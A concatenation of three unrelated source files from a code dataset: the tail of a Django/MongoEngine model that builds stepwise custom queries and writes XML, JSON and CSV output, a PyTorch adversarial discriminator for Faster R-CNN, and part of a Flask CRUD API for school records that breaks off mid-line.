300] for x in range(0, len(list_files), 300)]\n list_bucket_temp = list()\n for chunk in chunks:\n new_bucket = TempBucketIdFiles()\n new_bucket.list_files = chunk\n new_bucket.save()\n list_bucket_temp.append(new_bucket)\n\n new_temp_choice_list_file.choice = choice\n new_temp_choice_list_file.list_buckets = list_bucket_temp\n new_temp_choice_list_file.save()\n\n step.list_choices_id_file.append(new_temp_choice_list_file)\n step.save()\n self.save()\n\n def update_current_position_into_the_db(self):\n \"\"\" Update the current position to the object in database.\n \"\"\"\n self.update(current_position=self.current_position)\n\n def get_and_load_choices_first_step(self):\n \"\"\" Load the first query able step and return it.\n\n Returns:\n The first query able step\n \"\"\"\n first_step = self.get_first_query_able_step()\n\n if first_step is None:\n return None\n else:\n full_projection = \"dict_content.\" + first_step.full_xpath\n if first_step.step.target == 'attribute':\n full_projection += \".@\" + first_step.step.value\n elif first_step.step.target == 'name':\n full_projection += \".@title\"\n # FIXME: #text was hardcoded, but elements don't have #text if the xml tag does not have any attributes\n # else:\n # full_projection += \".#text\"\n full_projection = possible_projection(full_projection)\n dict_query = {'template': ObjectId(self.query.schema)}\n\n cursor_xml_data = system_api.execute_query_with_projection(dict_query, full_projection)\n\n if cursor_xml_data.count() == 0:\n schema_name = Template.objects.get(pk=self.query.schema).display_name\n raise EmptyChoicesFromQuery(schema=schema_name)\n\n elif first_step.step.data_type == \"data\":\n first_step.load_choices_and_xml_data(cursor_xml_data=cursor_xml_data)\n else:\n for file_xml_data in cursor_xml_data:\n first_step.files.append(str(file_xml_data.id))\n\n return first_step\n\n def get_and_load_choices_next_step(self):\n \"\"\" Get and load the next query able step.\n\n Returns:\n the next query able step\n \"\"\"\n current_step = self.get_current_step()\n next_step = self.get_next_query_able_step()\n if next_step is None:\n return None\n if current_step.step.data_type == 'data':\n unique_ids = current_step.get_id_files_from_user_choices()\n else:\n unique_ids = [ObjectId(x) for x in list(set(current_step.files))]\n\n if next_step.step.data_type == 'data':\n full_projection = 'dict_content.' + next_step.full_xpath\n if next_step.step.target == 'attribute':\n full_projection += \".@\" + next_step.step.value\n elif next_step.step.target == 'name':\n full_projection += \".@title\"\n # TODO: remove #text hardcoded\n # else:\n # full_projection += \".#text\"\n full_projection = possible_projection(full_projection)\n dict_query = {\n \"template\": ObjectId(self.query.schema),\n \"_id\": {\"$in\": unique_ids}\n }\n\n cursor_xml_data = system_api.execute_query_with_projection(dict_query, full_projection)\n\n if cursor_xml_data.count() == 0:\n schema_name = Template.objects.get(id=self.query.schema).display_name\n raise EmptyChoicesFromQuery(schema=schema_name)\n\n next_step.dict_choices_id_file = dict()\n next_step.load_choices_and_xml_data(cursor_xml_data=cursor_xml_data)\n next_step.update_choices_id_files_to_db()\n else:\n next_step.files = unique_ids\n next_step.update_files_in_db()\n\n return next_step\n\n def get_current_step(self):\n \"\"\" Return the step corresponding to the current position.\n\n Returns:\n Current step.\n \"\"\"\n return self.list_steps[self.current_position]\n\n def get_first_query_able_step(self):\n \"\"\" Return the first query able step. If there is no query able step, it returns None.\n\n Returns:\n Return None if there is no query able step, or the first query able step.\n \"\"\"\n self.current_position = 0\n if self.is_query_able(0):\n return self.list_steps[0]\n return self.get_next_query_able_step()\n\n def get_last_query_able_step(self):\n \"\"\" Return the last query able step. If there is no query able step, it returns None.\n\n Returns:\n Return None if there is no query able step, or the last query able step.\n \"\"\"\n for step in reversed(self.list_steps):\n if step.query_able is True:\n return step\n return None\n\n def get_next_query_able_step(self):\n \"\"\" Return the next query able step. If there is no query able step, it returns None.\n\n Returns:\n Return None if there is no next query able step, or the next query able step.\n \"\"\"\n current_viewable_position = self.list_steps[self.current_position].viewable_position\n if current_viewable_position == self.number_of_query_able_step:\n return None\n else:\n next_viewable_position = current_viewable_position + 1\n self.current_position += 1\n while self.list_steps[self.current_position].viewable_position \\\n != next_viewable_position:\n self.current_position += 1\n return self.list_steps[self.current_position]\n\n def get_previous_query_able_step(self):\n \"\"\" Return the previous query able step. If there is no query able step, it returns None.\n\n Returns:\n Return None if there is no previous query able step, or the previous query able step.\n \"\"\"\n current_viewable_position = self.list_steps[self.current_position].viewable_position\n if current_viewable_position == 1:\n return None\n else:\n self.list_steps[self.current_position].clean_step()\n previous_viewable_position = current_viewable_position - 1\n self.current_position -= 1\n while self.list_steps[self.current_position].viewable_position != \\\n previous_viewable_position:\n self.list_steps[self.current_position].clean_step()\n self.current_position -= 1\n\n self.list_steps[self.current_position].update(choices=list())\n return self.list_steps[self.current_position]\n\n def get_previous_choices(self):\n \"\"\" Get the formatted the previous user choices.\n\n Return the previous user choices separated by \"/\".\n\n Returns:\n Return the formatted the previous user choices separated by \"/\".\n \"\"\"\n prev_choices = list()\n for position in range(0, self.current_position + 1):\n if self.is_query_able(position):\n prev_choices.append(str(self.list_steps[position].choices))\n return \" / \".join(prev_choices)\n\n def get_ids_files_last_step(self):\n \"\"\" Get the minimal list of files where data can be picked in. If there is no query able step, ie no choices,\n all the files linked to the query's schema will be returned.\n\n Returns:\n Minimal list of files from the database linked to the user choices.\n \"\"\"\n last_query_able_step = self.get_last_query_able_step()\n if last_query_able_step is None:\n xml_data_list = system_api.get_all_by_template(ObjectId(self.query.schema))\n list_ids = list()\n for xml_data in xml_data_list:\n list_ids.append(xml_data.id)\n return list_ids\n\n if last_query_able_step.step.data_type == 'data':\n id_current_files = []\n for choice_id_file in last_query_able_step.list_choices_id_file:\n if choice_id_file.choice in last_query_able_step.choices:\n for bucket in choice_id_file.list_buckets:\n id_current_files.extend(bucket.list_files)\n else:\n id_current_files = last_query_able_step.files\n\n return [ObjectId(x) for x in list(set(id_current_files))]\n\n def is_query_able(self, position=None):\n \"\"\" Return if a step is query able.\n\n It returns True if the step is query able, False if the step is not query able. The\n tested step is the first one if the position is not given,\n or the step corresponding to the given position.\n\n Args:\n position: The position's step designing the tested step.\n\n Returns:\n Return True if the step is query able, False if the step is not query able.\n \"\"\"\n if position is None:\n return self.list_steps[self.current_position].query_able\n else:\n return self.list_steps[position].query_able\n\n def is_current_first_step(self):\n \"\"\" Return if the current step is the first step.\n\n It returns True if the step is the first step, False if the step is not the first one.\n\n Returns:\n Return True if the step is query able, False if the step is not query able.\n \"\"\"\n return self.get_current_step().viewable_position == 1\n\n def update_time(self):\n \"\"\" Update the query name.\n \"\"\"\n self.update(last_modified=datetime.now())\n\n def save_to_history(self, user_id, history_id=None):\n \"\"\" Create or update the history query.\n\n Args:\n user_id: User id.\n history_id: History query associated. If none, the history has to be created.\n\n Returns:\n History id.\n \"\"\"\n if history_id is None:\n history = HistoryQuery()\n history.query_id = str(self.id)\n history.status = 0\n history.user_id = user_id\n history.message = \"Step \" + \\\n str(self.get_current_step().viewable_position) + \\\n \": \" + \\\n self.get_current_step().step.name\n history_id = history.save()\n self.update(history=history_id)\n else:\n history = HistoryQuery.objects.get(id=history_id)\n history.update(message=\"Step \"\n + str(self.get_current_step().viewable_position)\n + \": \"\n + self.get_current_step().step.name\n )\n return history.id\n\n def update_message(self, _message):\n \"\"\" Update History message\n\n Args:\n _message: Message to be updated\n \"\"\"\n TempUserQuery.objects.get(id=self.id).history.update(message=_message)\n\n def handle_history(self):\n \"\"\" Get previous choice and return step\n \"\"\"\n choices = self.get_previous_choices()\n\n if choices[:-1] is not []:\n step = self.get_current_step()\n step.choices = []\n step.update(choices=[])\n else:\n raise ModelError(\"Previous choice does not exist\")\n\n return step\n\n def create_files(self, dict_data, map_keys, list_headers, list_file_xml, list_file_json,\n list_file_csv, depth, max_depth):\n \"\"\" Create the output file\n\n Args:\n dict_data: Tree of data.\n map_keys: Map a hash key to a key. The key is a dictionary representing a node.\n list_headers: List of headers parts common to all current element.\n list_file_xml: Different part of xml file.\n list_file_json: Different part of json file.\n list_file_csv: Different part of csv file.\n depth: Current depth in the tree.\n max_depth: Maximum depth in the tree.\n\n Returns:\n Output files.\n \"\"\"\n\n if depth == max_depth: # Leaf level\n if dict_data:\n list_keys = list(dict_data.keys())\n\n # Sort data if possible\n is_timestamp_present = True\n for hash_data in list_keys:\n if \"@timestamp\" not in list(map_keys[hash_data].keys()):\n is_timestamp_present = False\n break\n if is_timestamp_present:\n list_keys = sorted(list(dict_data.keys()),\n key=lambda x: map_keys[x]['@timestamp'])\n\n # Keeping only the 10 000 last records\n if self.query.is_limited:\n if self.query.number_records is not None:\n list_keys = list_keys[-self.query.number_records:]\n\n if len(dict_data) > 1:\n common_keys, list_specific_header = get_common_key_and_specific_header(\n list_keys, map_keys)\n else:\n common_keys = list()\n list_specific_header = list_headers[:] # Copy by slicing\n\n ddict_title_data = get_title_data_leaf(list_keys, map_keys)\n list_specific_header = list_headers + list_specific_header\n\n print_bloc(list_specific_header, ddict_title_data, common_keys,\n list_file_xml,\n list_file_json, list_file_csv)\n\n return\n else: # Header level\n for key_hash, value in list(dict_data.items()):\n dict_key = map_keys[key_hash]\n list_header_actual_key = get_header_parents(dict_key)\n self.create_files(\n dict_data=dict_data[key_hash],\n map_keys=map_keys,\n list_headers=list_headers + list_header_actual_key,\n list_file_xml=list_file_xml,\n list_file_json=list_file_json,\n list_file_csv=list_file_csv,\n depth=depth + 1,\n max_depth=max_depth\n )\n return\n\n def init_data_result(self):\n \"\"\" Initialize the variables to create the files. Create the files and save them into the database.\n \"\"\"\n translate_dt = str.maketrans(\"-:.T\", ' ') # Translate object for element date time\n translate_bounds = str.maketrans(\"-:\", ' ') # Translate object for bounds date time\n max_depth = self.number_of_step\n\n # Create the query\n ids_xml_data = self.get_ids_files_last_step()\n nb_files_total = len(ids_xml_data)\n first_step_xpath = self.list_steps[0].step.xpath.split(\"*\")[0]\n full_projection = possible_projection(\"dict_content.\" + first_step_xpath)\n\n dict_query = {\n \"template\": ObjectId(self.query.schema),\n \"_id\": {\n \"$in\": ids_xml_data\n }\n }\n\n xml_data = [\n data.to_mongo()['dict_content']\n for data in system_api.execute_query_with_projection(dict_query, full_projection)\n ]\n\n depth = 0\n list_keys_xpath = []\n dict_data = dict()\n map_key = dict()\n list_nb_file_treated = list()\n list_nb_file_treated.append(1.0)\n\n # Get the filtered elements form the database.\n self.explore_elements(list(xml_data), list_keys_xpath, depth, max_depth, dict_data,\n translate_dt, translate_bounds, map_key, list_nb_file_treated, nb_files_total)\n\n self.update_message(\"Creating output files.\")\n\n list_step_dot_only = [x for x in self.list_steps if x.step.xpath == \".\"]\n max_depth -= len(list_step_dot_only) + 1\n\n # Create the output files\n depth = 0\n list_file_xml = list()\n list_file_json = list()\n list_file_csv = list()\n list_headers = list()\n\n list_file_json.append(\"{\\r\\n\\t\\\"Data\\\": {\\r\\n\\t\\t\\\"Item\\\": [\\r\\n\")\n list_file_xml.append(\"\\r\\n\\r\\n\")\n\n self.create_files(dict_data, map_key, list_headers, list_file_xml, list_file_json,\n list_file_csv, depth, max_depth)\n\n file_csv = ''.join(list_file_csv)\n list_file_xml.append('')\n file_xml = ''.join(list_file_xml)\n file_json = ''.join(list_file_json)\n file_json = file_json[:-6] + file_json[-6:].replace(',', '')\n file_json += \"\\t\\t]\\r\\n\\t}\\r\\n}\"\n\n self.update(str_id_file_json=TempOutputFile().save_file(str_file=file_json, type_file=\"json\"))\n self.update(str_id_file_csv=TempOutputFile().save_file(str_file=file_csv, type_file=\"csv\"))\n self.update(str_id_file_xml=TempOutputFile().save_file(str_file=file_xml, type_file=\"xml\"))\n\n return\n\n def explore_elements(self, list_elements, list_keys_xpath, depth, max_depth, dict_to_add,\n translate_dt, translate_bounds, map_key, list_nb_file_treated, nb_file_total):\n \"\"\" Explore the elements and filter them from an input file.\n\n Args:\n list_elements: List of current element.\n list_keys_xpath: List of sliced xpath.\n depth: Current depth in the element.\n max_depth: Maximum element depth.\n dict_to_add: Result dictionary.\n translate_dt: Translate python object for element date.\n translate_bounds: Translate python object for bounds date.\n map_key: Map between hash and dictionary.\n list_nb_file_treated: List used for the advancement percentage. Only the first element is used.\n nb_file_total: Number of total files.\n \"\"\"\n if depth == 1:\n self.update_message(\n \"Gathering all data. - \"\n + str(\"%.2f\" % ((old_div(list_nb_file_treated[0], nb_file_total)) * 100))\n + \" %\"\n )\n list_nb_file_treated[0] += 1\n\n if depth == max_depth:\n return\n if not list_keys_xpath:\n # Create the list of xpath element for the current depth\n list_keys_xpath = [x for x in self.list_steps[depth].step.xpath.split(\".\") if x]\n element_title = list_keys_xpath[-1]\n\n while list_keys_xpath:\n key_xpath = list_keys_xpath.pop(0)\n if key_xpath == \"*\":\n # Solve start element\n set_possibilities = explore_star(list_elements)\n for key_possible in set_possibilities:\n list_key_param_star = [key_possible]\n if len(list_keys_xpath) != 0:\n list_key_param_star.extend(list_keys_xpath)\n self.explore_elements(\n list_elements=list_elements,\n list_keys_xpath=list_key_param_star,\n depth=depth,\n max_depth=max_depth,\n dict_to_add=dict_to_add,\n translate_dt=translate_dt,\n translate_bounds=translate_bounds,\n map_key=map_key,\n list_nb_file_treated=list_nb_file_treated,\n nb_file_total=nb_file_total,\n )\n return\n else:\n # Go across all elements\n list_elements = [x.get(key_xpath) for x in list_elements if x.get(key_xpath)]\n\n # Flat the elements if an element i composed by a a list of elements\n if list_elements:\n if isinstance(list_elements[0], list):\n list_elements = flat_list(list_elements)\n\n # Apply the choices to the list of elements\n depth, list_elements_cleaned = self.apply_user_choices(list_elements, depth, max_depth,\n element_title,\n translate_dt, translate_bounds)\n\n if not list_elements_cleaned:\n return\n dict_to_str = hash\n for element in list_elements_cleaned:\n dict_key_output_master = get_general_key_output_dictionary(\n element, element_title)\n str_key_output_spec = dict_to_str(frozenset(list(dict_key_output_master.items())))\n\n if str_key_output_spec not in dict_to_add:\n map_key[str_key_output_spec] = dict_key_output_master\n dict_to_add[str_key_output_spec] = {}\n\n self.explore_elements(\n list_elements=[element],\n list_keys_xpath=[],\n depth=depth + 1,\n max_depth=max_depth,\n dict_to_add=dict_to_add[str_key_output_spec],\n translate_dt=translate_dt,\n translate_bounds=translate_bounds,\n map_key=map_key,\n list_nb_file_treated=list_nb_file_treated,\n nb_file_total=nb_file_total,\n )\n return\n\n def apply_user_choices(self, list_elements, depth, max_depth, element_title, translate_dt, translate_bounds):\n \"\"\" Apply user choices to a list of elements.\n\n Args:\n list_elements: List of elements to be filtered.\n depth: Current depth.\n max_depth: Maximum Depth.\n element_title: Current element title\n translate_dt: Translate python object for the element date time.\n translate_bounds: Translate python object for the bounds.\n\n Returns:\n depthm list cleaned elements\n \"\"\"\n current_step = self.list_steps[depth]\n list_cleaned_elements = current_step.choose_filter_choice(\n list_elements=list_elements,\n element_title=element_title,\n translate_dt=translate_dt,\n translate_bounds=translate_bounds\n )\n\n while depth + 1 != max_depth and self.list_steps[depth + 1].step.xpath == \".\":\n depth += 1\n current_step = self.list_steps[depth]\n list_cleaned_elements = current_step.choose_filter_choice(\n list_elements=list_cleaned_elements, # FIXME: was list_elements (would ignore the first filter)\n element_title=element_title,\n translate_dt=translate_dt,\n translate_bounds=translate_bounds\n )\n return depth, list_cleaned_elements\n\n def add_query_to_waiting_line(self):\n \"\"\" Add query to the waiting line when the user end his choices.\n \"\"\"\n query_to_treat = QueryToTreat()\n query_to_treat.query = self\n query_to_treat.save()\n\n def create_outputs_file(self):\n \"\"\" Create the output files\n \"\"\"\n try:\n self.init_data_result()\n except Exception as e:\n current_step = self.get_current_step()\n log_file = LogFile(application=\"Custom Queries\",\n message=\"The step #\"\n + str(current_step.absolute_position)\n + \": \" + str(current_step.step.name)\n + \" is not a valid timestamp.\"\n + str(e),\n additionalInformation={'query_name': self.query_name,\n 'Status': \"Result builder\"},\n timestamp=datetime.now())\n log_file_api.upsert(log_file)\n self.update_message(\"Error during result files creation.\")\n return\n\n self.update_message(\"Result files created.\")\n # Get the user to send him an email\n try:\n history = HistoryQuery.objects.get(query_id=str(self.id))\n user = User.objects.get(id=history.user_id)\n send_mail_query_end(query=self, user=user)\n except Exception as e:\n logger.warning(\"create_outputs_file threw an exception: {0}\".format(str(e)))\n self.update_status(2)\n\n def update_status(self, new_status):\n TempUserQuery.objects.get(id=self.id).history.update(status=new_status)\n\n\nclass QueryToTreat(Document):\n \"\"\" List of query waiting to be treated.\n \"\"\"\n query = fields.ReferenceField(TempUserQuery, blank=True)\n\n @staticmethod\n def get_all():\n \"\"\" Return all QueryToTreat.\n\n Returns:\n\n \"\"\"\n return QueryToTreat.objects().all()\n\n def delete_database(self):\n \"\"\" Delete function.\n \"\"\"\n self.delete()\n","sub_path":"core_custom_queries_app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":35678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"643823179","text":"import torch.nn as nn\nimport torch.nn.init as init\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nimport torch\nimport numpy as np\n\nfrom core.config import cfg\nfrom modeling.model_builder import get_func, compare_state_dict, check_inference, Generalized_RCNN\nimport modeling.rpn_heads as rpn_heads\nimport modeling.fast_rcnn_heads as fast_rcnn_heads\nimport modeling.mask_rcnn_heads as mask_rcnn_heads\nimport modeling.keypoint_rcnn_heads as keypoint_rcnn_heads\nimport utils.blob as blob_utils\nimport utils.net as net_utils\nimport utils.detectron_weight_helper as weight_utils\nimport utils.net as net_utils\nimport nn as mynn\n\n\nclass Discriminator(nn.Module):\n def __init__(self, dim_in, resolution, pretrained_weights=None):\n super().__init__()\n self.fc_dim = dim_in * resolution * resolution\n self.mapping_to_detectron = None\n self.orphans_in_detectron = None\n\n self.adversarial = nn.Sequential(nn.Linear(self.fc_dim, 4096),\n nn.LeakyReLU(negative_slope=0.2),\n nn.Linear(4096, 1024),\n nn.LeakyReLU(negative_slope=0.2),\n nn.Linear(1024, 1),\n nn.Sigmoid())\n\n self.adversarial_criterion = nn.BCELoss()\n\n self._init_weights()\n\n self.Box_Head = get_func(cfg.GAN.MODEL.CONV_BODY_FC_HEAD)(dim_in, resolution)\n self.Box_Outs = fast_rcnn_heads.fast_rcnn_outputs(self.Box_Head.dim_out)\n self._init_modules(pretrained_weights)\n\n def forward(self, blob_conv, rpn_ret, adv_target=None, flags=None):\n with torch.set_grad_enabled(self.training):\n return self._forward(blob_conv, rpn_ret, adv_target, flags)\n\n def _forward(self, blob_conv, rpn_ret, adv_target=None, flags=None):\n return_dict = {}\n\n batch_size = blob_conv.size(0)\n if self.training and cfg.DEBUG:\n # debug: batch_size and fg-fraction\n fg = len([x for x in rpn_ret['labels_int32'] if x > 0])\n print(\"\\tbatch-size in discriminator: {} (fg: {}%)\".format(batch_size,\n 1.0 * fg / batch_size * 100.0))\n\n print(\"\\tBlob_conv size in discriminator: {}\".format(blob_conv.view(batch_size, -1).size()))\n\n blob_conv_flattened = blob_conv.view(batch_size, -1)\n\n adv_score = self.adversarial(blob_conv_flattened)\n\n box_feat = self.Box_Head(blob_conv_flattened)\n cls_score, bbox_pred = self.Box_Outs(box_feat)\n\n if self.training:\n if adv_target is None:\n raise ValueError(\"adv_target must not be None during training!!\")\n\n return_dict['losses'] = {}\n return_dict['metrics'] = {}\n\n if cfg.GAN.TRAIN.IGNORE_BG_ADV_LOSS:\n # ignore adversarial loss for background RoIs\n mask = np.where(rpn_ret['labels_int32'] == 0)\n fg = len([x for x in rpn_ret['labels_int32'] if x > 0])\n bg = len([x for x in rpn_ret['labels_int32'] if x == 0])\n if cfg.DEBUG:\n print(\"ignoring backgound rois in adv_loss: {} / {}\".format(bg,\n len(rpn_ret['labels_int32'])))\n\n loss_adv = self.adversarial_loss(adv_score, adv_target,\n reduce=False)\n loss_adv[mask] = 0.0\n if fg > 0:\n loss_adv = loss_adv * len(rpn_ret['labels_int32']) / fg\n loss_adv = loss_adv.mean()\n else:\n loss_adv = self.adversarial_loss(adv_score, adv_target)\n\n return_dict['losses']['loss_adv'] = loss_adv\n\n loss_cls, loss_bbox, accuracy_cls = fast_rcnn_heads.fast_rcnn_losses(\n cls_score, bbox_pred, rpn_ret['labels_int32'], rpn_ret['bbox_targets'],\n rpn_ret['bbox_inside_weights'], rpn_ret['bbox_outside_weights'])\n return_dict['losses']['loss_cls'] = loss_cls\n return_dict['losses']['loss_bbox'] = loss_bbox\n return_dict['metrics']['accuracy_cls'] = accuracy_cls\n\n # pytorch0.4 bug on gathering scalar(0-dim) tensors\n for k, v in return_dict['losses'].items():\n return_dict['losses'][k] = v.unsqueeze(0)\n for k, v in return_dict['metrics'].items():\n return_dict['metrics'][k] = v.unsqueeze(0)\n\n else: # if testing\n return_dict['cls_score'] = cls_score\n return_dict['bbox_pred'] = bbox_pred\n return_dict['adv_score'] = adv_score\n return_dict['rois'] = rpn_ret['rois']\n return_dict['rpn_ret'] = rpn_ret\n\n return return_dict\n\n def _init_modules(self, pretrained_weights=None):\n \"\"\"\n inits layers and loads pretrained detectron-backbone-architecture (Conv_Body and RPN)\n also freezes weights of Conv_Body and RPN\n \"\"\"\n if pretrained_weights is not None:\n\n pretrained_detectron = torch.load(pretrained_weights)\n load_layers = ['Box_Head', 'Box_Outs']\n mapping, _ = self.detectron_weight_mapping()\n state_dict = {}\n ckpt = pretrained_detectron['model']\n for name in ckpt:\n if name.split('.')[0] in load_layers:\n if \"fc_head\" in name:\n try:\n if mapping[name]:\n state_dict[name] = ckpt[name]\n except KeyError:\n name_parts = name.split('.')\n name_parts = [x for x in name_parts if x != \"fc_head\"]\n name_modified = '.'.join(name_parts)\n if mapping[name_modified]:\n state_dict[name_modified] = ckpt[name]\n else:\n try:\n if mapping[name]:\n state_dict[name] = ckpt[name]\n except KeyError:\n name_parts = name.split('.')\n name_parts.insert(1, \"fc_head\")\n name_modified = '.'.join(name_parts)\n if mapping[name_modified]:\n state_dict[name_modified] = ckpt[name]\n self.load_state_dict(state_dict, strict=False)\n del pretrained_detectron\n torch.cuda.empty_cache()\n\n def _init_weights(self):\n \"\"\"\n initialize layers before ReLU activation with kaiming initialization\n \"\"\"\n if cfg.GAN.MODEL.KAIMING_INIT:\n if cfg.DEBUG:\n print(\"\\tInit Adversarial with KAIMING\")\n init.kaiming_uniform_(self.adversarial[0].weight, a=0, mode='fan_in', nonlinearity='relu')\n init.constant_(self.adversarial[0].bias, 0.0)\n init.kaiming_uniform_(self.adversarial[2].weight, a=0, mode='fan_in', nonlinearity='relu')\n init.constant_(self.adversarial[2].bias, 0.0)\n init.kaiming_uniform_(self.adversarial[4].weight, a=0, mode='fan_in', nonlinearity='relu')\n init.constant_(self.adversarial[4].bias, 0.0)\n else:\n if cfg.DEBUG:\n print(\"\\tInit ResidualBlock with XAVIER\")\n mynn.init.XavierFill(self.adversarial[0].weight)\n init.constant_(self.adversarial[0].bias, 0.0)\n mynn.init.XavierFill(self.adversarial[2].weight)\n init.constant_(self.adversarial[2].bias, 0.0)\n mynn.init.XavierFill(self.adversarial[4].weight)\n init.constant_(self.adversarial[4].bias, 0.0)\n\n def detectron_weight_mapping(self):\n if self.mapping_to_detectron is None:\n d_wmap = {} # detectron_weight_mapping\n d_orphan = [] # detectron orphan weight list\n d_wmap['adversarial.0.weight'] = 'advFc1_w'\n d_wmap['adversarial.0.bias'] = 'advFc1_b'\n d_wmap['adversarial.2.weight'] = 'advFc2_w'\n d_wmap['adversarial.2.bias'] = 'advFc2_b'\n d_wmap['adversarial.4.weight'] = 'advFc3_w'\n d_wmap['adversarial.4.bias'] = 'advFc3_b'\n\n for name, m_child in self.named_children():\n if name == 'adversarial':\n continue\n if list(m_child.parameters()): # if module has any parameter\n child_map, child_orphan = m_child.detectron_weight_mapping()\n d_orphan.extend(child_orphan)\n for key, value in child_map.items():\n new_key = name + '.' + key\n d_wmap[new_key] = value\n self.mapping_to_detectron = d_wmap\n self.orphans_in_detectron = d_orphan\n\n return self.mapping_to_detectron, self.orphans_in_detectron\n\n def _add_loss(self, return_dict, key, value):\n \"\"\"Add loss tensor to returned dictionary\"\"\"\n return_dict['losses'][key] = value\n\n def adversarial_loss(self, blob, target, reduce=True):\n return F.binary_cross_entropy(blob, target, reduce=reduce)\n","sub_path":"lib/modeling/discriminator.py","file_name":"discriminator.py","file_ext":"py","file_size_in_byte":9329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"226018505","text":"from app \t\t\t\timport app, db, Messages\nfrom flask \t\t\t\timport request, jsonify\nfrom flask_jwt_extended import jwt_required\nfrom sqlalchemy \t\timport exc\nfrom . \t\t\t\t\timport resource\nfrom app import Escola\nfrom app import EscolaValidator\nfrom app import fieldsFormatter\n\n#--------------------------------------------------------------------------------------------------#\n\n@app.route('/escola/all', methods=['GET'])\n@jwt_required\n@resource('escola-all')\ndef escolaAll():\n\n page = request.args.get('page', 1, type=int)\n nomeFilter = request.args.get('nome', None)\n cepFilter = request.args.get('cep', None)\n enderecoFilter = request.args.get('endereco', None)\n bairroFilter = request.args.get('bairro', None)\n telefoneFilter = request.args.get('telefone', None)\n emailFilter = request.args.get('email', None)\n cnpjFilter = request.args.get('cnpj', None)\n cidadeFilter = request.args.get('cidade_id', None)\n rowsPerPage = app.config['ROWS_PER_PAGE']\n\n query = Escola.query.order_by(Escola.nome)\n\n if(nomeFilter != None):\n query = query.filter(\n Escola.nome.ilike(\"%%{}%%\".format(nomeFilter))\n )\n if (cepFilter != None):\n query = query.filter(\n Escola.cep.ilike(\"%%{}%%\".format(cepFilter))\n )\n if (enderecoFilter != None):\n query = query.filter(\n Escola.endereco.ilike(\"%%{}%%\".format(enderecoFilter))\n )\n if (bairroFilter != None):\n query = query.filter(\n Escola.bairro.ilike(\"%%{}%%\".format(bairroFilter))\n )\n if (telefoneFilter != None):\n query = query.filter(\n Escola.telefone.ilike(\"%%{}%%\".format(telefoneFilter))\n )\n if (emailFilter != None):\n query = query.filter(\n Escola.email.ilike(\"%%{}%%\".format(emailFilter))\n )\n if (cnpjFilter != None):\n query = query.filter(\n Escola.cnpj.ilike(\"%%{}%%\".format(cnpjFilter))\n )\n if (cidadeFilter != None):\n query.filter_by(cidade_id = cidadeFilter)\n\n pagination = query.paginate(page = page, per_page=rowsPerPage, error_out=False)\n escolas = pagination.items\n output = {\n \"pagination\": {\n \"pages_count\": pagination.pages,\n \"itens_count\": pagination.total,\n \"itens_per_page\": rowsPerPage,\n \"prev\": pagination.prev_num,\n \"next\": pagination.next_num,\n \"current\": pagination.page,\n },\n \"itens\": [],\n \"error\": False,\n }\n\n for escola in escolas:\n data = {}\n data['id'] = escola.id\n data['escola'] = escola.nome\n data['cep'] = escola.cep\n data['endereco'] = escola.endereco\n data['bairro'] = escola.bairro\n data['telefone'] = escola.telefone\n data['email'] = escola.email\n data['cnpj'] = escola.cnpj\n data['cidade'] = {}\n data['cidade']['id'] = escola.cidade.id\n data['cidade']['nome'] = escola.cidade.nome\n data['cidade']['uf_id'] = escola.cidade.uf_id\n\n output['itens'].append(data)\n return jsonify(output)\n\n\n#--------------------------------------------------------------------------------------------------#\n\n@app.route('/escola/view/', methods=['GET'])\n@jwt_required\n@resource('escola-view')\ndef escolaView(escola_id):\n escola = Escola.query.get(escola_id)\n\n if not escola:\n return jsonify({'message': Messages.REGISTER_NOT_FOUND.format(escola_id), 'error': True})\n\n data = {'error':False}\n data['id'] = escola.id\n data['escola'] = escola.nome\n data['cep'] = escola.cep\n data['endereco'] = escola.endereco\n data['bairro'] = escola.bairro\n data['telefone'] = escola.telefone\n data['email'] = escola.email\n data['cnpj'] = escola.cnpj\n data['cidade'] = {}\n data['cidade']['id'] = escola.cidade.id\n data['cidade']['nome'] = escola.cidade.nome\n data['cidade']['uf_id'] = escola.cidade.uf_id\n\n return jsonify(data)\n\n#--------------------------------------------------------------------------------------------------#\n\n@app.route('/escola/add', methods=['POST'])\n@jwt_required\n@resource('escola-add')\ndef escolaAdd():\n\n data = request.get_json()\n validator = EscolaValidator(data)\n errors = validator.validate()\n\n if (errors['has']):\n return jsonify({'message': Messages.FORM_VALIDATION_ERROR, 'error': errors['has'], 'errors': errors}), 200\n\n escola = Escola(\n nome = data['nome'],\n cep = fieldsFormatter.CepFormatter().clean(data['cep']),\n endereco = data['endereco'],\n bairro = data['bairro'],\n cidade_id=data['cidade_id'],\n telefone = fieldsFormatter.PhoneFormatter().clean(data['telefone']),\n email = data['email'],\n cnpj = fieldsFormatter.CnpjFormatter().clean(data['cnpj'])\n )\n\n db.session.add(escola)\n\n try:\n db.session.commit()\n return jsonify({'message': Messages.REGISTER_SUCCESS_CREATED.format(\"Escola\"), 'error': False})\n except exc.IntegrityError:\n db.session.rollback()\n return jsonify({'message': Messages.REGISTER_CREATE_INTEGRITY_ERROR, 'error': True})\n\n# --------------------------------------------------------------------------------------------------#\n\n@app.route('/escola/edit/', methods=['PUT'])\n@jwt_required\n@resource('escola-edit')\ndef escolaEdit(escola_id):\n\n escola = Escola.query.get(escola_id)\n\n if not escola:\n return jsonify({'message': Messages.REGISTER_NOT_FOUND.format(escola_id), 'error': True})\n\n data = request.get_json()\n validator = EscolaValidator(data)\n errors = validator.validate()\n\n if(errors['has']):\n return jsonify({'message': Messages.FORM_VALIDATION_ERROR, 'error': errors['has'], 'errors': errors}), 200\n\n escola.nome = data['nome']\n escola.cep = data['cep']\n escola.endereco = data['endereco']\n escola.bairro = data['bairro']\n escola.telefone = data['telefone']\n escola.email = data['email']\n escola.cnpj = data['cnpj']\n escola.cidade_id = data['cidade_id']\n\n try:\n db.session.commit()\n return jsonify({'message': Messages.REGISTER_SUCCESS_UPDATED.format(\"Escola\"), 'error': False})\n except exc.IntegrityError:\n db.session.rollback()\n return jsonify({'message': Messages.REGISTER_CHANGE_INTEGRITY_ERROR, 'error': True})\n\n# --------------------------------------------------------------------------------------------------#\n\n@app.route('/escola/delete/', methods=['DELETE'])\n@jwt_required\n@resource('escola-delete')\ndef escolaDelete(escola_id):\n escola = Escola.query.get(escola_id)\n\n if not 